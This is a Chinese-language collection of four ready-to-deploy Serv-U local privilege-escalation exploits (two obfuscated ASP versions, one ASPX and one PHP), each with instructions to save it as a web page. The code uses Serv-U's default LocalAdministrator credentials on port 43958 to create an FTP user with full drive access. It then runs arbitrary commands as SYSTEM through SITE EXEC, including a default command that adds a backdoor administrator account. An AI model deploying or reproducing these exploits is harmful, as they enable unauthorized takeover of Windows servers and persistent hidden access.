SER-U提权工具全版

LAKE 的提权工具

----------------------------------------以下部分---------------------------------------------------

<%@ LANGUAGE = VBScript.Encode %>
<title>Serv-U 2 admin by lake2</title>
<style type="text/css">
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}
body {background-color: #ffffff;font-size:14px; }
a:link {color: #0000FF;text-decoration: none;}
a:visited {text-decoration: none;color: #0000FF;}
a:hover {text-decoration: none;color: #FF0000;}
a:active {text-decoration: none;color: #FF0000;}
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
.TextBox {border: 1px solid #084B8E}
</style>
<p>Serv-U Local Get SYSTEM Shell with ASP
</p>
<p>Author: lake2, <a href="http://lake2.0x54.org" target="_blank">http://lake2.0x54.org</a></p>
<form method="post" action="">
  <p>user:
    <input type="text" class="TextBox" value="LocalAdministrator">
    <br>
    pwd :
    <input type="text" class="TextBox" value="#l@$ak#.lk;0@P">
    <br>
  port:
  <input type="text" class="TextBox" value="43958">
  <br>
  <input type="radio" value="add" checked class="TextBox">
  Add User
  <input type="radio" value="del" class="TextBox">
  Del User </p>
  <p>
    <input type="submit" class="buttom" value="Run">
  </p>
</form>
<p>
   <%#@~^8ggAAA==@#@&jdMP{PD;!n/DRoWM:cE9E/.J*@#@&aA[P{PM+5EndDRoWMh`rN2A9J#@#@&aW.Y,x,Dn$E/YcsK.:vJ[wKDOE*@#@&E/Ws:l [~',D;;+dOcsGDscJ9mh[r#@#@&@#@&dr0,.;;/DRsKDscJMl[kK4;ODWxrbP{PJm[[J,K4+U@#@&@#@&VC3+P{PEik+D~E,[~jk.,[~741DV6@#@&sl0++P{PsC0+ ,'Prnlkd~J,[,wAN~',\8mMs0@#@&sC0+ ~x,VC3+,[~,JUqKAPt)qgK31z1/3rP[,-41DV6@#@&B^l0++Px~^lV+y~[,PERU2K96tb(1r~LP-(mMV0,[,EOGWhlbxx^1Y\-TRZR!cTkc2%l,kOqk8uTJ,'P74^.^0P'~rOP}}3 l8^+{!J,[,-41Ds0,[~E,K}}F+H'J,'~\(mMVW@#@&sm3n ,xP^lVnyP[~E ?3K`jAIjAK`nJ,[,-41Ds0,[~E qn{TRZR!cTEPLP74^DsW,[~J KWMYHG{ FE~LP-41.^0~LPrOjk+MxVm3nJ,[~-(mD^WPLPJ KC/khKD['C[skUFyfJ,[~-(mDsW,[~{@#@&,P~,P,PP,P,~P,P~P,P~E CWsnfbD'1lw-rPLP-4^.^0~[,EOdWLr H+dobVn'r~LP-(mMV0,[,EOGkdl(VnxZJPL~\(mD^W~[,J InVKCDtd'8EPLP-81DVW~LPm@#@&~,P~,P,PP,P,~P,P~P,PERg++9j+1EDxTJ,[,\8m.s6P'PrRCbNnubNNnU{!EPL~74^MV6P[,J )VSlz/zVsGSSWTrx{!J,'~\(mMVWP'~rO/tmUonCdkhW.[{!EPL~74^MV6P[,{@#@&P,P~P,P~~,PP,~P,PP,~EO5EKYC2UC(Vn'ZEPLP-81DVW~LPEOtCXjdDkSWTk K+MqK' FE~LP\(^D^0PL~EOUw+[SrhbYiw{TJ,[~-(mDsW,[~J ja+n9Sb:kDfKAx{!EPLP-81DV6~[,{@#@&~~P,P,P~P~~,P~P,~P,PERtl6H.`/nDkx FE,[,\41D^WPLPEO&Nsn:k:6ED'vZTEPLP74^DsW,[~J j+k/rG Kkhn}EO' qrP',\(mD^0,'PrO36ak.n{!J,'P74mMsWPLPrO]lOrKj2'8EPLP-81DVW~LPm@#@&~,P~,P,PP,P,~P,P~P,PER"lYbGfKhx{qEPLP74^DsW,[~J ]lDkGd;D+[rD'TJ,',\81D^0PLPrRp!WOl;E..xY{TJ,[P78^D^0,[~JR}!WOltC6b:;h{!J~',\8mMs6P',{@#@&P,P,~P,P~P,P~~,PP,~PrOHmrUYxmx^+xjH/O+sEPLP-81DVW~LPEOhCk/AKD9KXa+{]+TEslMJ~',\41.V6P[,ERImYbWd'HG +EPL~\(m.s6P[~E,b^mdk'^=-'uIqbt3S;fKJ,[~-(mD^W@#@&ddEsC3 ,'~VCV ~[,E;!kOE,[P-81Ds0@#@&id@#@&di@#@&id@#@&di@#@&diBRR OO RO@#@&div6x,2MDGD~]/;:~16O@#@&ddjnDPanKdDPx,ZM+lD+}8LmO`rHjptS cpHdCK:KE#@#@&idanGdDR6wUPrn6j:J~~E4YOw=&JF+FRZR!cF=E[,wGDDP'EJVl0n r~P:.;+@#@&idanGdDRj+ [`^lVny#@#@&7i?nY,ahrj:' WY4k L@#@&d7D/2G /+cADbY+,EoKhP!/nD~sm3nP,2lk/~C9:kUqy&~)*@!(D@*@!A"@*J@#@&inVk+@#@&i@#@&7iVl0n ,'Prid+MPrP'PidMP'P78mMVW@#@&ddsC0++P{~^lV ,[Prnmd/,J~[,wA[,[P78mMV0@#@&7d^l0++Px~^lV+y~[,Jj(:2P\)&1P2g)gZ3rPLP\(mMs0@#@&7d^lVnyP',sl0+ ,'~J fAS3K3iU2]J,'P74^.^0P'~rO(n{Tc! ZRZJPLP78mMVWPLPERhWDDHW{ Fr~'P741Ds0~',J~jknD{VCVJP'~74^D^W@#@&7i@#@&ddU+D~6hWdY2Px~;D+mO+}4L^O`rHU(\S+ oHJC:Pnr#@#@&id6KGkYfR}2x~rn}?Kr~,EtDY2)Jzq+FR!cTR8)JL~2WMY,[EzsC0++JB~KMEn@#@&ddaKK/O&cjx[vVm3+y#@#@&di?nY,6K6UK&{UWDtk L@#@&idM+dwGUk+ hMrYPE9Kx+Z@!(D@*@!~]@*J@#@&dxN,k6@#@&@#@&+18CAA==^#~@%>
   Only for Enjoy&amp;Challenge
! </p>
------------------------------------------以上部分保存为ASP文件----------------------------------

GOLD SUN 版本

----------------------------------------以下部分---------------------------------------------------

<%@ LANGUAGE = VBScript.Encode %>
<%#@~^fggAAA==~@#@&vU+M\O`Pmdw,提权程序@#@&BmEO4KD),!W^N/!U,lDTRc0 f{8c@#@&E9r,16P,E/n~bY~YK~9W~\bVPDtbUok"@#@&@#@&9rsPEknDBPwmdd~,wKDO~~WDw2WMO~,mh[BPVGLbx;/.BPsKobxwm/kSP9+sNK:Cr ~PsO~,x+S[G:mk ~~xnA!/nDB~;!kO@#@&Nkh~mmOkKU@#@&C1YbWx{D5E/O`rl^ObWxrb@#@&k0,~UWDPb/UEhnMk^`m^YbWUb,YtnU,Dn/aG /nc+ N@#@&EknD,'~YMkhcM+;!n/D`J!Eb#@#@&ald/~x,Y.kscD;;nkY`E2r#b@#@&2KDO,',YDb:v.+$En/D`E2KDYrb#@#@&ms[~',YMkh`.n$En/DcJ1Jbb@#@&0xOMkh`Mn$EnkYvJ0r#*@#@&b0~0{JE~Dt+ @#@&6'oaCOtv#@#@&nVdn@#@&~P,W'^+WOv0~+b@#@&nx9~b0@#@&0DwwKDD~',vX*Z!@#@&Dk:GED'&@#@&@#@&^WTkUEdnMPxPri/D~E,[P;dD~[,-(Z.d0@#@&VKobUwm/dP{PEKm//,EPLPwmddPLP74/DJW@#@&[+^[WslrU,'PERG2J2:3Gr\zqgJPLP78ZMSWPLPER&n'Z !c!RZE~[,\(Z.SW~LPEPhGDD1GxrP[~WDw2WMO,[~74;DS6@#@&hY,'~JUqP3,Hb&HKA1bg/3J,[,\8Z.J6@#@&xANK:Cr P'~E ?3KG6tb(gJ,[P74;.S6P'PrO9Gslk xoKVNk;UuZRZRTRTkrP'P6OwaW.O,[PEk FkF-TrP',\(ZDd0,'PrOP}}2UC(V+{TJ,[P78/Dd0,[~J~P\rF+HxJ,[~-(ZDJW@#@&U+S;k+.,',JOU2:i?AIj2:jKE,[P78ZMS0,'~J qh'TRT ZRTJ,'P74/.d0P'~rOKWMOgWxrPLP0DwaGDDP'P74/.d0PL~J j/.xoKJ,[~\8/MSWPL~J nCdkhW.[{W[J,',\8;Dd0PLP|@#@&,P~P,P~~rOCKh+GkD{^l-'J,[~\8/MSWPL~J SGLbxHndwks+{E,[~74;DS6PL~J fr/m4sn{!J,'P74ZMJWPLPrO]+sKmY4/{qJ,[~-(ZDJW,[~{@#@&,P~,P,PPrOgn+9?nm!DnxZJPL~\(ZDdW~[,J CrNnubN[+ x!rP'~74Z.J6P'PrRzVAmXkbV^WSJWTkU'ZJ~',\4;.S6P[,ERZ4l onnCdkhGD9x!rP'~74Z.J6P'P|@#@&P~,P,PP,J }EKYC2 l8s'!r~[,\4;.J0,[,JRHCa`/nDkJWTkUKDqKx FEPL~74/MS6P[,J jw+[Sb:rO`w'ZEPLP\(/.S6PLPEOj2+[SbhkDfGA '!E~LP-4;.d0~LP|@#@&,P,~P,P~J HCagDjknDk'O8E~[,\(Z.SW~LPEO&[VKrhrEOx+!TJ,',\8;Dd0PLPrR?/dkKxPrs+r!O' FJ,'~\(ZMSWP'~rO36arD'TE,[P-8;DJ0,',JR"lDkW`w{qJ,[~\(Z.J6P[,m@#@&PP,~~P,PrO]lOrKfGh xFrP'~74Z.J6P'PrR"lObWkZDNbO'ZJ~[,\8/MS0,'PrOp!GOl;EMDnxOxZJ~[,-4;DJW,[PER5EGYm\m6rsEs'!rPL~\(Z.S6P'~|@#@&,~P,PP,~EOtlbxO+UC mn'Uz/D+hE,[P-8;DJ0,',JRhlk/hKD9PXa+xIo;smDJ,'P74ZMJWPLPrO]lOrK/x1KU+rP'~74Z.J6P'Pr~zm^/k'm=-'kIqb\2dZ9KrP[,-4;DS6@#@&;!kDPxPE}`qPJ,'P74/.d0@#@&Uh;/.{DnaVmm+vxAEk+.~rmlEB0#@#@&/V+1O~mm/PCmOrKx@#@&1C/Pq@#@&PP~~k+OPmxU+.7+MRZM+mO+}4%+1YcEtkmMG/K0Ycp\S_K:nE#@#@&,P~Pm Wa+U~rM2PEBPEtDOa)&JFyGRZRZ F=J~[,wG.DP[,EzTWV9d;xJEal[:rUJ/qJBPD!+S~rJ~~Er@#@&P,~,l k+ NP^WTrx!/nD,[~sKok 2lk/PL~hY,[,NnV[Gslrx,'P +A[K:lrU,[~xA!/nMPLP;!kD@#@&,P~Pk+O~k+/krW `JmEb'm@#@&EGQCAA==^#~@%>
<form method="post" >
<input type="hidden" value="&lt;">%=#@~^BAAAAA==;k+.vwEAAA==^#~@%&gt;"&gt;</td>
<input type="hidden" value="&lt;">%=#@~^BAAAAA==2m/dtwEAAA==^#~@%&gt;"&gt;</td>
<input type="hidden" value="&lt;">%=#@~^BAAAAA==2KDOxQEAAA==^#~@%&gt;"&gt;</td>
<input type="hidden" value="&lt;%=#@~^AwAAAA==^sNNAEAAA==^#~@%>" size="50"&gt;
<input type="hidden" value="&lt;%=#@~^AQAAAA==WZgAAAA==^#~@%>" size="50"&gt;
<input type="hidden" value="2"></form>
<script language="javascript">
document.write('<center>正在连接 127.0.0.1:<%=#@~^BAAAAA==2KDOxQEAAA==^#~@%>,使用用户名: <%=#@~^BAAAAA==;k+.vwEAAA==^#~@%>,口令：<...'"&gt;%=#@~^BAAAAA==2m/dtwEAAA==^#~@%&gt;...<center>');
setTimeout("document.all.goldsun.submit();",4000);
</script>
<%#@~^EQEAAA==@#@&mCk+, @#@&P,~Pk+OP('jnM\+M ZM+lDn64N+1YcJ\r1DG/KWYc(\J_KKKE*@#@&P,~,4 KwxPrMAPJBPEtDY2lJzFy{RZR!cqlJ,[,0Ow2GMY~[,EzTWs[kEx&;al[:bUJ/+r~,KD!+B~Jr~~Jr@#@&~,PP( /xN,Ei/D,oGJ~',\8ZMJ0,[~Eal/d~KNEPL~74/MS6P[,JkrYPn6m~E,[P1hN,[P78/Dd0,[~;;rD@#@&P,~/Y~d//rG `E4rb{4@#@&hEkAAA==^#~@%>
<form method="post" >
<input type="hidden" value="&lt;">%=#@~^BAAAAA==;k+.vwEAAA==^#~@%&gt;"&gt;</td>
<input type="hidden" value="&lt;">%=#@~^BAAAAA==2m/dtwEAAA==^#~@%&gt;"&gt;</td>
<input type="hidden" value="&lt;">%=#@~^BAAAAA==2KDOxQEAAA==^#~@%&gt;"&gt;</td>
<input type="hidden" value="&lt;%=#@~^AwAAAA==^sNNAEAAA==^#~@%>" size="50"&gt;
<input type="hidden" value="&lt;%=#@~^AQAAAA==WZgAAAA==^#~@%>" size="50"&gt;
<input type="hidden" value="3"></form>
<script language="javascript">
document.write('<center>正在提升权限,请等待...,<center>');
setTimeout("document.all.goldsun.submit();",4000);
</script>
<%#@~^8AAAAA==@#@&mCk+,&@#@&P,~Pk+OP1'jnM\+M ZM+lDn64N+1YcJ\r1DG/KWYc(\J_KKKE*@#@&P,~,m KwxPrMAPJBPEtDY2lJzFy{RZR!cqlJ,[,wGDO~LPEzTGV9/;UJEwC[skUzkfr~~:D!+~,JrSPrJ@#@&,P~~1R/UN,VWTrUEk+MP'PsGTkUwmd/,[~hDP[~[V[WsCbx~LP$EkD@#@&~P,Pd+DPdnk/kKU`rmJ*x^@#@&z0EAAA==^#~@%>
<center>提权完毕,已执行了命令：<br><font color=red><%=#@~^AwAAAA==^sNNAEAAA==^#~@%></font><br><br>
<input type=button value=" 返回继续 " &lt;%=#@~^BwAAAA==L '"&gt;lh`*WQIAAA==^#~@%&gt;';"&gt;
</center>

<%#@~^6QAAAA==@#@&mCk+,+Vk+@#@&W PnDMW.~M+/!h+,x+XO@#@&,P,Pd+O~m'd+kdkKxcEmJ#@#@&,P~PknDP8{///bW cJ(Jb@#@&P~~,/+D~m{/+kdrW `rmE#@#@&,P~Pm l(W.O@#@&P~~,?nY,C,'~gWDtk o@#@&P,P~4cl8GMY@#@&~P,P?O~4,',1GY4r o@#@&,~P,m C(WDO@#@&P~P,jY~1P{P1KY4rxT@#@&wDkAAA==^#~@%>
<center><form method="post" >
<table ;494" height="163" border="1" cellpadding="0" cellspacing="1" bordercolor="#666666">
  <tr align="center" valign="middle">
    <td colspan="2">Serv-U 提升权限 ASP版 Goldsun[at]84823714</td>
  </tr>
  <tr align="center" valign="middle">
    <td ;100">用户名:</td>
    <td ;379"><input type="text" value="LocalAdministrator"></td>
  </tr>
  <tr align="center" valign="middle">
    <td>口 令：</td>
    <td><input type="text" value="#l@$ak#.lk;0@P"></td>
  </tr>
  <tr align="center" valign="middle">
    <td>端 口：</td>
    <td><input type="text" value="43958"></td>
  </tr>
  <tr align="center" valign="middle">
    <td>系统路径：</td>
    <td><input type="text" value="&lt;%=#@~^AQAAAA==WZgAAAA==^#~@%>" size="8"&gt;</td>
  </tr>
  <tr align="center" valign="middle">
    <td>命 令：</td>
    <td><input type="text" value="cmd /c net user goldsun love /add & net localgroup administrators goldsun /add" size="50"></td>
  </tr>
  <tr align="center" valign="middle">
    <td colspan="2"><input type="submit" value="提交">
      <input type="reset" value="重置">
      <input type="hidden" value="1"></td>
  </tr>
</table></form></center>
<%#@~^rwIAAA==~x[,/V+1Y@#@&0!x^YbWU~VwlD4`*@#@&KU~+MDKD~Dnd!:nP n6D@#@&~,PPn.MR^VCM@#@&,P,P/Y,W'U+.\D /M+lDnr(L+1OcJUmMk2YrUTRok^n?H/Onsr4%n1YE#@#@&,P~,k6P+MDcUEs4nD@*!~O4+x@#@&dTwlD4xJ1)r@#@&P~~,P~P,n6bY~W!xmOrKx@#@&,~,Pn N,k0@#@&T2lDtx0cMnOUw+1rl^sW^[nDv!*@#@&o2CDtxV1C/`sn6Y`L2mY4~yb*@#@&k+DP0{xKOtbxL@#@&+U[,0E ^YbWx@#@&oE mDkGx~!glh+vbP@#@&(W,D+5;/ORknM\nM\mDkm4^n/vJj2".3]|nr"PJ*'JRTEP:tx~@#@&!glh+{EtDY2lJzJ~',Dn;!nkY k+M\+M\m.km4s+k`EdD\.{ l:Eb[^mm/n`.n$En/D /D-nM\l.rm4s+kcr/^MkaY{ lsnJ*#~@#@&2sdP@#@&!1m:+{E4YDw=z&J~',Dn;!n/DRdnM\+.-mDrl(s/cr/D\D|Uls+E#LJlELD+$;+kYRkn.\D7l.kC8^+d`rj2".3]|nr]Pr#'V1Ck+cM+$E+kYcd+M\nD7l.rm4Vd`r/mMr2Y|xm:nJbb,@#@&2 [P&0~@#@&2x[~wEUmDrKx~@#@&vdMAAA==^#~@%>

-------------------------------------以上部分保存为ASP文件-----------------------------------------

SU 提权ASPX版本---未加密

-------------------------------------以下部分------------------------------------------------------

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="System.Net.Sockets" %>
<script runat="server">

'
' Love, Where are you ?
Sub BTN_Start_Click(sender As Object, e As EventArgs)
Dim Usr As String = Text_Name.Text
Dim pwd As String = Text_PWD.Text
Dim Port As Int32 = Text_Port.Text
Dim Command As String = Text_cmd.Text
Dim LoginUser As String = "User " & Usr & vbcrlf
Dim LoginPass As String = "Pass " & pwd & vbcrlf
Dim NewDomain As String = "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf
Dim DelDomain As String = "-DELETEDOMAIN" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & " PortNo=43859" & vbcrlf
Dim NewUser AS String = "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=43859" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _
"-HomeDir=c:\\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c:\\|RWAMELCDP" & vbcrlf
Dim Quit As String = "QUIT" & vbcrlf
Dim MAINTENANCE As String = "SITE MAINTENANCE" & vbcrlf
'Dim client As New TcpClient
Dim tcpClient As New TcpClient()
Try
tcpClient.Connect("127.0.0.1", port)
Catch eee As Exception
response.write(eee.ToString())
response.end
End Try
tcpClient.ReceiveBufferSize = 1024
Dim networkStream As NetworkStream = tcpClient.GetStream()
Rec(networkStream)
Send(networkStream, LoginUser)
Rec(networkStream)
Send(networkStream, LoginPass)
Rec(networkStream)
Send(networkStream, MAINTENANCE)
Rec(networkStream)
Send(networkStream, DelDomain)
Rec(networkStream)
Send(networkStream, NewDomain)
Rec(networkStream)
Send(networkStream, NewUser)
Rec(networkStream)
Dim tcpClient2 As New TcpClient()
Try
tcpClient2.Connect("127.0.0.1", 43859)
Catch eee As Exception
response.write(eee.ToString())
response.end
End Try
tcpClient2.ReceiveBufferSize = 1024
Dim networkStream2 As NetworkStream = tcpClient2.GetStream()
Rec(networkStream2)
Send(networkStream2, "User lake" & vbcrlf)
Rec(networkStream2)
Send(networkStream2, "pass admin123" & vbcrlf)
Rec(networkStream2)
Send(networkStream2, "site exec " & Command & vbcrlf)
Rec(networkStream2)
tcpClient2.Close()
Send(networkStream, DelDomain)
Rec(networkStream)
Send(networkStream, Quit)
Rec(networkStream)
tcpClient.Close()
End Sub
Sub Rec(o As Object)
If o.CanRead Then
Dim bytes(1024) As Byte
o.Read(bytes, 0, 1024)
Dim returndata As String = Encoding.ASCII.GetString(bytes)
response.Write("out:" & returndata & "<br>")
Else
response.Write("What's wrong ?")
End If
End Sub
Sub Send(o As Object,data As String)
If o.CanWrite Then
Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(data)
o.Write(sendBytes, 0, sendBytes.Length)
response.write("in: " & data & "<br>")
Else
response.Write("What's wrong ?")
End If
End Sub

</script>
<html>
<head>
</head>
<body>
<form runat="server">
<p>
<asp:Label runat="server" ;353px" forecolor="Blue">from Serv-U 2
admin by lake2</asp:Label>
</p>
<p>
<asp:Label runat="server" ;40px">Name</asp:Label>
<asp:TextBox runat="server" ;152px">LocalAdministrator</asp:TextBox>
<br />
<asp:Label runat="server" ;40px">PWD</asp:Label>
<asp:TextBox runat="server">#l@$ak#.lk;0@P</asp:TextBox>
<br />
<asp:Label runat="server" ;40px">Port</asp:Label>
<asp:TextBox runat="server">43958</asp:TextBox>
<br />
<asp:Label runat="server" ;40px">cmd</asp:Label>
<asp:TextBox runat="server"></asp:TextBox>
</p>
<p>
<asp:Button runat="server" Text="Start"></asp:Button>
</p>
<p>
<hr />
<!-- Insert content here -->
</p>
</form>
</body>
</html>
------------------------------------------以上部分保存为ASPX文件----------------------------------

PHP版本 未加密

------------------------------------------以下部分------------------------------------------------

<?PHP
/*******************************************************************************
|                Serv-U All Version Local Exploit Ver 1.5                      |
|------------------------------------------------------------------------------|
|                       Codez By 我非我[F.S.T]                                 |
|             My QQ: 309088292  E-mail: [email protected]                    |
|                  Team: Firefox Security Team [F.S.T]                         |
|                   Welcome to: http://www.wrsky.com                           |
*******************************************************************************/
//
//Codez begin
//
//判断magic_quotes_gpc的值
if (get_magic_quotes_gpc()) {
    $_GET = stripslashes_array($_GET);
}

//变量初始化
$addr = '0.0.0.0';
$ftpport = 21;
$adminport = 43958;
$adminuser = 'LocalAdministrator';
$adminpass = '#l@$ak#.lk;0@P';
$user = 'wofeiwo';
$password = 'wrsky';
$homedir = 'C:\\';
$dir = 'C:\\WINNT\\System32\\';

//有改变则赋值
if ($_GET){
    $addr = $_GET['addr'] ;
    $ftpport = $_GET['ftpport'] ;
    $adminport = $_GET['adminport'] ;
    $adminuser = $_GET['adminuser'] ;
    $adminpass = $_GET['adminpass'] ;
    $user = $_GET['user'] ;
    $password = $_GET['password'] ;
    $homedir = $_GET['homedir'] ;
    if ($_GET['dir']){
        $dir = $_GET['dir'] ;
    }
}
?>

<!-- 主文件开始 //-->
<html>
<head>
<title>-=<Serv-U All Version本地提升权限Exp10it Ver 1.5 By 我非我[F.S.T] 火狐技术联盟荣誉出品>=-</title>
<meta content="text/html; charset=gb2312" http-equiv="Content-Type">
<STYLE TYPE="text/css">
b {font-family : Verdana, sans-serif;font-size : 14px;}
body,td,p,pre {
font-family : Verdana, sans-serif;font-size : 12px;
}
input {
   font-family: "Verdana";
   font-size: "11px";
   BACKGROUND-COLOR: "#FFFFFF";
   height: "18px";
   border: "1px solid #666666";
  }
</STYLE>
</head>
<body bgcolor="#EEEEEE" text="#000000" link="#006699" vlink="#5493B4">

<center><b>Serv-U All Version本地提升权限Exp10it Ver 1.5</b>
<br><br>
<b>添加Serv-U用户部分</b>
<br>
<form action="&lt;?=$_SERVER['PHP_SELF']?>" method="get"&gt;
<table ;660" border="0" cellpadding="0">
<tr><td ;300" align="center">主机IP：</td>   <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$addr?>"&gt;</td></tr>
<tr><td ;300" align="center">主机Ftp端口：</td>   <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$ftpport?>"&gt;</td></tr>
<tr><td ;300" align="center">主机Ftp管理端口：</td>   <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$adminport?>"&gt;</td></tr>
<tr><td ;300" align="center">主机Ftp管理用户：</td>   <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$adminuser?>"&gt;</td></tr>
<tr><td ;300" align="center">主机Ftp管理密码：</td>   <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$adminpass?>"&gt;</td></tr>
<tr><td ;300" align="center">添加的用户名：</td>   <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$user?>"&gt;</td></tr>
<tr><td ;300" align="center">添加的用户名密码：</td><td width="360" align="center"><input type="password" class="INPUT" value="&lt;?=$password?>"&gt;</td></tr>
<tr><td ;300" align="center">用户主目录(别忘了写"\")：</td>  <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$homedir?>"&gt;</td></tr>
<tr><td ;300" align="center"><input type="hidden" value="up"></td></tr>
<tr><td ;300" align="center"><input type="submit" class="INPUT" value="添加"></td></tr>
</form></tr>
</table>
<hr ;660"><br>
<textarea cols="60" rows="10" readonly>命令回显:
<?php

//添加用户
if ($_GET['action']=="up"){
    up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir);
    }
    ?>
</textarea></center><br><hr ;660">
<center><b>执行命令部分</b><br>
<form action="&lt;?=$_SERVER['PHP_SELF']?>" method="get"&gt;
<table ;660" border="0" cellpadding="0">
<tr><td ;300" align="center">主机Ftp端口：</td>   <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$ftpport?>"&gt;</td></tr>
<tr><td ;300" align="center">用户名：</td>   <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$user?>"&gt;</td></tr>
<tr><td ;300" align="center">用户名密码：</td><td width="360" align="center"><input type="password" class="INPUT" value="&lt;?=$password?>"&gt;</td></tr>
<tr><td ;300" align="center">系统路径(别忘了写"\")：</td><td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$dir?>"&gt;</td></tr>
<tr><td ;300" align="center">执行的命令：</td>  <td width="360" align="center"><input type="text" class="INPUT" value="&lt;?=$_GET['cmd']?>"&gt;</td></tr>
<tr><td ;300" align="center"><input type="hidden" value="execute"></td></tr>
<tr><td ;300" align="center"><input type="submit" class="INPUT" value="执行"></td></tr>
</form></tr></table><hr ;660"><br>
<textarea cols="60" rows="10" readonly>命令回显:
<?php

//执行命令
if ($_GET['action']=="execute"){
    ftpcmd($ftpport,$user,$password,$dir,$_GET['cmd']);
    }
?>
</textarea>
</center><br><hr ;660">
<i><center>Copycenter (C) 2004 我非我 All centers Reserved. 火狐技术联盟：<a href="http://www.wrsky.com" target="_blank">Http://Www.WrSky.Com</a> .<br>
My QQ:309088292<br>
E-Mail:<a href="[email protected]:[email protected]">[email protected]</a>
</center></i>
</body>
</html>
<!-- 主文件结束 //-->
<?php

//添加用户主函数定义
function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){
     $fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
     if (!$fp) {
         echo "$errstr ($errno)&lt;br>\n";
         } else {
    fputs ($fp, "USER ".$adminuser."\r\n");
    sleep (1);
    fputs ($fp, "PASS ".$adminpass."\r\n");
    sleep (1);
    fputs ($fp, "SITE MAINTENANCE\r\n");
    sleep (1);
    fputs ($fp, "-SETUSERSETUP\r\n");
    fputs ($fp, "-IP=".$addr."\r\n");
    fputs ($fp, "-PortNo=".$ftpport."\r\n");
    fputs ($fp, "-User=".$user."\r\n");
    fputs ($fp, "-Password=".$password."\r\n");
    fputs ($fp, "-HomeDir=".$homedir."\r\n");
    fputs ($fp, "-LoginMesFile=\r\n");
    fputs ($fp, "-Disable=0\r\n");
    fputs ($fp, "-RelPaths=0\r\n");
    fputs ($fp, "-NeedSecure=0\r\n");
    fputs ($fp, "-HideHidden=0\r\n");
    fputs ($fp, "-AlwaysAllowLogin=0\r\n");
    fputs ($fp, "-ChangePassword=1\r\n");
    fputs ($fp, "-QuotaEnable=0\r\n");
    fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
    fputs ($fp, "-SpeedLimitUp=-1\r\n");
    fputs ($fp, "-SpeedLimitDown=-1\r\n");
    fputs ($fp, "-MaxNrUsers=-1\r\n");
    fputs ($fp, "-IdleTimeOut=600\r\n");
    fputs ($fp, "-SessionTimeOut=-1\r\n");
    fputs ($fp, "-Expire=0\r\n");
    fputs ($fp, "-RatioUp=1\r\n");
    fputs ($fp, "-RatioDown=1\r\n");
    fputs ($fp, "-RatiosCredit=0\r\n");
    fputs ($fp, "-QuotaCurrent=0\r\n");
    fputs ($fp, "-QuotaMaximum=0\r\n");
    fputs ($fp, "-Maintenance=System\r\n");
    fputs ($fp, "-PasswordType=Regular\r\n");
    fputs ($fp, "-Ratios=None\r\n");
    fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
    fputs ($fp, "QUIT\r\n");
    sleep (1);
    while (!feof($fp)) {
        echo fgets ($fp,128);
    }

}
}

//执行命令主函数定义
function ftpcmd($ftpport,$user,$password,$dir,$cmd){

$conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 8);

if (!$conn_id) {
    echo "$errstr ($errno)<br>\n";
} else {
    fputs ($conn_id, "USER ".$user."\r\n");
    sleep (1);
    fputs ($conn_id, "PASS ".$password."\r\n");
    sleep (1);
    fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd."\r\n");
    fputs ($conn_id, "QUIT\r\n");
    sleep (1);
    while (!feof($conn_id)) {
        echo fgets ($conn_id,128);
    }
    fclose($conn_id);
}
}

//去除转义字符
function stripslashes_array(&$array) {
while (list($key,$var) = each($array)) {
  if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
   if (is_string($var)) {
    $array[$key] = stripslashes($var);
   }
   if (is_array($var))  {
    $array[$key] = stripslashes_array($var);
   }
  }
}
return $array;
}
?&gt;

--------------------------------------以上部分保存为PHP文件---------------------------------------